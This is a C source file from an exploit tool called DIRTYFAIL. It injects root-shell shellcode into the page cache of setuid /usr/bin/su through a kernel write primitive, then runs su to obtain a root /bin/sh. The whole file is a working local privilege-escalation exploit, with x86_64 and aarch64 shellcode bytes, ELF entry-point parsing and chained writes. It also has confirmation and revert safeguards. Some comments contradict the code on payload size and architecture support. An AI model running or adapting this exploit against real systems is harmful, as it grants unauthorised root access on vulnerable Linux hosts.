/* * DIRTYFAIL — exploit_su.c * * V4bel-style page-cache shellcode injection against /usr/bin/su. * See exploit_su.h for the high-level rationale. */ #include "exploit_su.h" #include "copyfail.h" #include "common.h" #ifdef __linux__ #include #include #include #include #include #include #include #include #define SU_PATH "/usr/bin/su" #define STATE_PATH "/var/tmp/.dirtyfail-su.state" #define STATE_MAGIC "DFSU0001" /* x86_64 shellcode: setuid(0); setgid(0); execve("/bin/sh", argv, NULL) * with argv = ["/bin/sh", NULL]. The proper argv matters: NULL argv * makes the kernel substitute argv[0]="" (printk: "launched '/bin/sh' * with NULL argv: empty string added"), and bash/sh-as-init-script * with empty argv[0] doesn't read commands from stdin reliably. * * Layout: * 0x00 xor rdi, rdi ; mov eax, 105 ; syscall — setuid(0) [10] * 0x0a xor rdi, rdi ; mov eax, 106 ; syscall — setgid(0) [10] * 0x14 mov rbx, "/bin/sh\0" ; push rbx — pathname on stack [11] * 0x1f mov r9, rsp — r9 = path ptr [3] * 0x22 xor rax, rax ; push rax ; push r9 — argv = [path,NULL][6] * 0x28 mov rsi, rsp ; mov rdi, r9 — argv, pathname [6] * 0x2e xor rdx, rdx ; mov eax, 0x3b ; syscall — envp=NULL, execve [10] * * Total: 56 bytes = 14 chained 4-byte writes via cf_4byte_write. */ __attribute__((unused)) static const unsigned char shellcode_x86_64[56] = { /* setuid(0) — 10 bytes */ 0x48,0x31,0xff, 0xb8,0x69,0x00,0x00,0x00, 0x0f,0x05, /* setgid(0) — 10 bytes */ 0x48,0x31,0xff, 0xb8,0x6a,0x00,0x00,0x00, 0x0f,0x05, /* mov rbx, "/bin/sh\0" ; push rbx — 11 bytes */ 0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x53, /* mov r9, rsp — 3 bytes */ 0x49,0x89,0xe1, /* xor rax, rax ; push rax ; push r9 — 6 bytes */ 0x48,0x31,0xc0, 0x50, 0x41,0x51, /* mov rsi, rsp ; mov rdi, r9 — 6 bytes */ 0x48,0x89,0xe6, 0x4c,0x89,0xcf, /* xor rdx, rdx ; mov eax, 0x3b ; syscall — 10 bytes */ 0x48,0x31,0xd2, 0xb8,0x3b,0x00,0x00,0x00, 0x0f,0x05, }; /* aarch64 shellcode: same semantics as x86_64 above (setuid(0), * setgid(0), execve("/bin/sh", ["/bin/sh", NULL], NULL)) encoded for * the aarch64 syscall ABI (x8 = syscall number, x0..x5 = args, * `svc #0` to invoke). 20 instructions × 4 bytes = 80 bytes. * * STATUS: UNTESTED on hardware. The bytes were derived by manually * cross-referencing each instruction against the ARMv8-A reference * manual; the matching assembly source ships in * `tools/exploit_su_aarch64.S` so anyone with `aarch64-linux-gnu-as` * can regenerate and verify. Runtime is gated behind the env var * `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` to prevent accidental use. */ __attribute__((unused)) static const unsigned char shellcode_aarch64[80] = { /* setuid(0) — movz x0,#0 ; movz x8,#146 ; svc #0 */ 0x00,0x00,0x80,0xd2, 0x48,0x12,0x80,0xd2, 0x01,0x00,0x00,0xd4, /* setgid(0) — movz x0,#0 ; movz x8,#144 ; svc #0 */ 0x00,0x00,0x80,0xd2, 0x08,0x12,0x80,0xd2, 0x01,0x00,0x00,0xd4, /* "/bin/sh\0" -> x9 (4× movz/movk lsl) */ 0xe9,0x45,0x8c,0xd2, /* movz x9, #0x622f */ 0x29,0xcd,0xad,0xf2, /* movk x9, #0x6e69, lsl 16 */ 0xe9,0x65,0xce,0xf2, /* movk x9, #0x732f, lsl 32 */ 0x09,0x0d,0xe0,0xf2, /* movk x9, #0x0068, lsl 48 */ /* push string : sp -= 16 ; *sp = x9 */ 0xe9,0x0f,0x1f,0xf8, /* str x9, [sp, #-16]! */ 0xe9,0x03,0x00,0x91, /* mov x9, sp */ /* argv = [x9, NULL] on stack */ 0xff,0x43,0x00,0xd1, /* sub sp, sp, #16 */ 0xff,0x07,0x00,0xf9, /* str xzr, [sp, #8] */ 0xe9,0x03,0x00,0xf9, /* str x9, [sp, #0] */ /* execve(x9, sp, NULL) — syscall 221 */ 0xe0,0x03,0x09,0xaa, /* mov x0, x9 */ 0xe1,0x03,0x00,0x91, /* mov x1, sp */ 0xe2,0x03,0x1f,0xaa, /* mov x2, xzr */ 0xa8,0x1b,0x80,0xd2, /* movz x8, #221 */ 0x01,0x00,0x00,0xd4, /* svc #0 */ }; /* Build-time arch selection: pick the right shellcode at compile time * based on the target architecture. SHELLCODE_LEN must be a multiple * of 4 since cf_4byte_write plants 4 bytes at a time. The unused * sibling shellcode array is suppressed with __attribute__((unused)) * up at its definition. */ #if defined(__x86_64__) || defined(__amd64__) # define SHELLCODE_BYTES shellcode_x86_64 # define SHELLCODE_LEN ((int)sizeof(shellcode_x86_64)) # define SHELLCODE_ARCH "x86_64" # define SHELLCODE_TESTED 1 # define SHELLCODE_PRESENT 1 #elif defined(__aarch64__) # define SHELLCODE_BYTES shellcode_aarch64 # define SHELLCODE_LEN ((int)sizeof(shellcode_aarch64)) # define SHELLCODE_ARCH "aarch64" # define SHELLCODE_TESTED 0 # define SHELLCODE_PRESENT 1 #else # define SHELLCODE_BYTES shellcode_x86_64 /* placeholder, never used */ # define SHELLCODE_LEN 0 # define SHELLCODE_ARCH "unknown" # define SHELLCODE_TESTED 0 # define SHELLCODE_PRESENT 0 #endif /* Convenience name kept matching pre-existing usages. */ #define shellcode SHELLCODE_BYTES /* State file: stash original entry-point bytes so we can revert. */ struct su_state { char magic[8]; /* "DFSU0001" */ char target_path[256]; uint64_t file_offset; uint64_t original_len; /* always SHELLCODE_LEN, but explicit for forward-compat */ unsigned char original[SHELLCODE_LEN]; }; /* ---------------------------------------------------------------- * * ELF parsing — find the file offset of the entry point in /usr/bin/su. * ---------------------------------------------------------------- */ static bool resolve_entry_offset(const char *path, off_t *out_offset) { int fd = open(path, O_RDONLY); if (fd < 0) { log_bad("open %s: %s", path, strerror(errno)); return false; } Elf64_Ehdr ehdr; if (pread(fd, &ehdr, sizeof(ehdr), 0) != sizeof(ehdr)) { log_bad("read ELF header: %s", strerror(errno)); close(fd); return false; } if (memcmp(ehdr.e_ident, ELFMAG, 4) != 0) { log_bad("%s is not an ELF file", path); close(fd); return false; } if (ehdr.e_ident[EI_CLASS] != ELFCLASS64) { log_bad("%s is not 64-bit ELF (this exploit requires x86_64)", path); close(fd); return false; } if (ehdr.e_machine != EM_X86_64) { log_bad("%s is not x86_64 (machine=0x%x); shellcode is x86_64-only", path, ehdr.e_machine); close(fd); return false; } /* Walk program headers to find the LOAD segment containing e_entry. */ Elf64_Phdr phdr; bool found = false; for (int i = 0; i < ehdr.e_phnum; i++) { off_t poff = ehdr.e_phoff + (off_t)i * ehdr.e_phentsize; if (pread(fd, &phdr, sizeof(phdr), poff) != sizeof(phdr)) { log_bad("read phdr[%d]: %s", i, strerror(errno)); close(fd); return false; } if (phdr.p_type != PT_LOAD) continue; if (!(phdr.p_flags & PF_X)) continue; /* must be executable */ if (ehdr.e_entry < phdr.p_vaddr) continue; if (ehdr.e_entry >= phdr.p_vaddr + phdr.p_memsz) continue; *out_offset = phdr.p_offset + (ehdr.e_entry - phdr.p_vaddr); found = true; break; } close(fd); if (!found) { log_bad("could not locate executable LOAD segment containing e_entry " "(0x%llx) in %s", (unsigned long long)ehdr.e_entry, path); return false; } /* Sanity: ensure the 48-byte plant region fits inside the file. */ struct stat st; if (stat(path, &st) < 0) { log_bad("stat: %s", strerror(errno)); return false; } if ((uint64_t)*out_offset + SHELLCODE_LEN > (uint64_t)st.st_size) { log_bad("entry offset 0x%llx + %d would overflow %s (size 0x%llx)", (unsigned long long)*out_offset, SHELLCODE_LEN, path, (unsigned long long)st.st_size); return false; } return true; } /* ---------------------------------------------------------------- * * Backup / revert * ---------------------------------------------------------------- */ static bool save_original(const char *path, off_t off) { int fd = open(path, O_RDONLY); if (fd < 0) { log_bad("open %s: %s", path, strerror(errno)); return false; } struct su_state st = {0}; memcpy(st.magic, STATE_MAGIC, 8); strncpy(st.target_path, path, sizeof(st.target_path) - 1); st.file_offset = (uint64_t)off; st.original_len = SHELLCODE_LEN; if (pread(fd, st.original, SHELLCODE_LEN, off) != SHELLCODE_LEN) { log_bad("pread original 48 bytes: %s", strerror(errno)); close(fd); return false; } close(fd); int sfd = open(STATE_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0600); if (sfd < 0) { log_bad("open %s: %s", STATE_PATH, strerror(errno)); return false; } if (write(sfd, &st, sizeof(st)) != sizeof(st)) { log_bad("write state: %s", strerror(errno)); close(sfd); unlink(STATE_PATH); return false; } close(sfd); log_ok("stashed original %d bytes from %s+0x%llx → %s", SHELLCODE_LEN, path, (unsigned long long)off, STATE_PATH); return true; } /* Read state, return false if missing or malformed. */ static bool load_state(struct su_state *out) { int sfd = open(STATE_PATH, O_RDONLY); if (sfd < 0) { log_bad("open %s: %s", STATE_PATH, strerror(errno)); return false; } if (read(sfd, out, sizeof(*out)) != sizeof(*out)) { log_bad("read state: %s", strerror(errno)); close(sfd); return false; } close(sfd); if (memcmp(out->magic, STATE_MAGIC, 8) != 0) { log_bad("state file magic mismatch"); return false; } if (out->original_len != SHELLCODE_LEN) { log_bad("state file original_len=%llu (expected %d)", (unsigned long long)out->original_len, SHELLCODE_LEN); return false; } return true; } /* ---------------------------------------------------------------- * * Plant + verify * ---------------------------------------------------------------- */ static bool plant_shellcode(const char *path, off_t base_off, const unsigned char *bytes, size_t len) { if (len % 4 != 0) { log_bad("plant len %zu not multiple of 4", len); return false; } log_step("planting %zu bytes of shellcode via %zu chained 4-byte writes", len, len / 4); for (size_t i = 0; i < len; i += 4) { unsigned char chunk[4]; memcpy(chunk, bytes + i, 4); if (!cf_4byte_write(path, base_off + (off_t)i, chunk)) { log_bad("cf_4byte_write[%zu] failed at offset 0x%llx", i / 4, (unsigned long long)(base_off + i)); return false; } /* Compact progress dot per chunk; no full-line spam. */ fputc('.', stdout); fflush(stdout); } fputc('\n', stdout); return true; } static bool verify_plant(const char *path, off_t off, const unsigned char *expected, size_t len) { int fd = open(path, O_RDONLY); if (fd < 0) { log_bad("verify open: %s", strerror(errno)); return false; } unsigned char got[SHELLCODE_LEN]; if (pread(fd, got, len, off) != (ssize_t)len) { log_bad("verify pread: %s", strerror(errno)); close(fd); return false; } close(fd); return memcmp(got, expected, len) == 0; } /* try_revert_su_pages: best-effort revert. We don't have CAP_SYS_ADMIN * to drop_caches in init ns from an unprivileged process, but * POSIX_FADV_DONTNEED on a freshly-opened fd typically evicts the * affected pages on most kernels. */ static bool try_revert_su_pages(const char *path, off_t off, const unsigned char *original, size_t len) { if (!plant_shellcode(path, off, original, len)) { log_warn("revert plant failed — page cache may still be poisoned"); return false; } int fd = open(path, O_RDONLY); if (fd >= 0) { #ifdef POSIX_FADV_DONTNEED posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED); #endif close(fd); } /* Verify the revert landed correctly. */ if (!verify_plant(path, off, original, len)) { log_warn("revert verification failed — bytes do not match original"); return false; } return true; } /* ---------------------------------------------------------------- * * Public entry points * ---------------------------------------------------------------- */ df_result_t exploit_su_shellcode(bool do_shell) { log_step("Copy Fail — /usr/bin/su page-cache shellcode injection"); const char *target = getenv("DIRTYFAIL_SU_PATH"); if (!target || !*target) target = SU_PATH; /* Architecture preflight. We ship two shellcodes: * x86_64 — tested end-to-end on Fedora 44 (real-root proven). * aarch64 — manually encoded from the ARMv8-A reference, * never executed on hardware. Gated behind an env * var so an aarch64 user has to opt in explicitly. * Anything else has no shellcode and aborts here. */ if (!SHELLCODE_PRESENT) { log_bad("no shellcode for this architecture (built for %s); " "DIRTYFAIL --exploit-su currently supports x86_64 and " "aarch64 only.", SHELLCODE_ARCH); return DF_PRECOND_FAIL; } if (!SHELLCODE_TESTED && !getenv("DIRTYFAIL_AARCH64_TRUST_UNTESTED")) { log_bad("running on %s, where the shipped shellcode has NOT been " "tested on hardware. Aborting to avoid bricking /usr/bin/su.", SHELLCODE_ARCH); log_hint("if you've reviewed tools/exploit_su_aarch64.S and want to " "proceed at your own risk, set " "DIRTYFAIL_AARCH64_TRUST_UNTESTED=1 in the environment."); log_hint("recommended verification: assemble the .S file with " "`aarch64-linux-gnu-as` and confirm the byte sequence " "matches `shellcode_aarch64[]` in src/exploit_su.c."); return DF_PRECOND_FAIL; } if (!SHELLCODE_TESTED) { log_warn("DIRTYFAIL_AARCH64_TRUST_UNTESTED=1: proceeding with " "untested aarch64 shellcode (%d bytes). If /usr/bin/su " "breaks, run `dirtyfail --cleanup-su` (or reboot) to " "evict the modified page from the cache.", SHELLCODE_LEN); } struct stat st; if (stat(target, &st) < 0) { log_bad("stat %s: %s", target, strerror(errno)); return DF_PRECOND_FAIL; } if (!(st.st_mode & S_ISUID) || st.st_uid != 0) { log_bad("%s is not setuid root (mode=0%o uid=%u)", target, st.st_mode, st.st_uid); log_hint("the exploit relies on the setuid bit; without it, the " "shellcode runs at our existing uid and gains nothing."); return DF_PRECOND_FAIL; } off_t entry_off; if (!resolve_entry_offset(target, &entry_off)) return DF_TEST_ERROR; log_ok("/usr/bin/su entry point at file offset 0x%llx", (unsigned long long)entry_off); log_warn("about to overwrite %d bytes of %s in the page cache", SHELLCODE_LEN, target); log_warn("if this fails or the shellcode crashes, /usr/bin/su will be " "broken system-wide until --cleanup-su or `drop_caches`"); /* CRITICAL: disable libc stdin buffering before the typed_confirm * read. Otherwise fgets() pulls extra bytes from the pipe into libc's * buffer, which is lost when execve() replaces our process — the * exec'd /bin/sh then sees empty stdin and exits without running * any commands the user piped in. With _IONBF, fgets does 1-byte * reads and leaves the kernel pipe intact. */ setvbuf(stdin, NULL, _IONBF, 0); if (!typed_confirm("DIRTYFAIL")) { log_bad("confirmation declined"); return DF_OK; } if (!save_original(target, entry_off)) return DF_TEST_ERROR; if (!plant_shellcode(target, entry_off, shellcode, SHELLCODE_LEN)) { log_warn("plant failed mid-stream — attempting revert"); struct su_state st_in; if (load_state(&st_in) && try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) { unlink(STATE_PATH); } return DF_EXPLOIT_FAIL; } if (!verify_plant(target, entry_off, shellcode, SHELLCODE_LEN)) { log_bad("verify: page cache does not match planted shellcode " "(kernel likely patched, or AF_ALG/algif_aead blocked)"); struct su_state st_in; if (load_state(&st_in) && try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) { unlink(STATE_PATH); } return DF_EXPLOIT_FAIL; } log_ok("page cache of %s now contains shellcode at entry point", target); if (!do_shell) { log_step("--no-shell: reverting via DONTNEED+rewrite"); struct su_state st_in; if (load_state(&st_in) && try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) { log_ok("page cache reverted successfully"); unlink(STATE_PATH); } else { log_warn("revert may have failed — run `sudo dirtyfail --cleanup-su` " "or reboot before using su again"); } return DF_EXPLOIT_OK; } log_ok("invoking %s — kernel will exec setuid-root, jump to our shellcode, " "and drop a /bin/sh root shell", target); log_hint("when you exit the shell, run `sudo dirtyfail --cleanup-su` to " "restore /usr/bin/su (or reboot — page cache is RAM-only)"); execl(target, "su", (char *)NULL); log_bad("execl: %s", strerror(errno)); return DF_EXPLOIT_FAIL; } /* Describe state file if present, for `--list-state`. Returns true if * an exploit-su state file was found and described, false if absent. * Silent when file is missing (the normal case). */ bool exploit_su_list_state(void) { struct stat ignored; if (stat(STATE_PATH, &ignored) < 0) return false; /* clean state */ struct su_state st_in; if (!load_state(&st_in)) return false; log_warn("/usr/bin/su shellcode planted — state file %s", STATE_PATH); log_hint(" target: %s, entry-point file offset: 0x%llx", st_in.target_path, (unsigned long long)st_in.file_offset); log_hint(" original %llu bytes stashed.", (unsigned long long)st_in.original_len); log_hint(" the page cache currently has x86_64 setuid+execve(/bin/sh)"); log_hint(" shellcode in place of the above. Revert with `--cleanup-su`."); return true; } df_result_t cleanup_su_shellcode(void) { log_step("--cleanup-su: restore /usr/bin/su entry-point bytes from %s", STATE_PATH); struct su_state st_in; if (!load_state(&st_in)) return DF_TEST_ERROR; log_hint("target: %s, file_offset: 0x%llx", st_in.target_path, (unsigned long long)st_in.file_offset); if (!try_revert_su_pages(st_in.target_path, (off_t)st_in.file_offset, st_in.original, SHELLCODE_LEN)) { log_bad("revert failed — manual fix needed: " "`echo 3 | sudo tee /proc/sys/vm/drop_caches`"); return DF_TEST_ERROR; } if (unlink(STATE_PATH) == 0) { log_ok("page cache restored and state file removed"); } else { log_warn("page cache restored but %s could not be removed: %s", STATE_PATH, strerror(errno)); } return DF_OK; } #else /* !__linux__ */ df_result_t exploit_su_shellcode(bool do_shell) { (void)do_shell; return DF_TEST_ERROR; } df_result_t cleanup_su_shellcode(void) { return DF_TEST_ERROR; } bool exploit_su_list_state(void) { return false; } #endif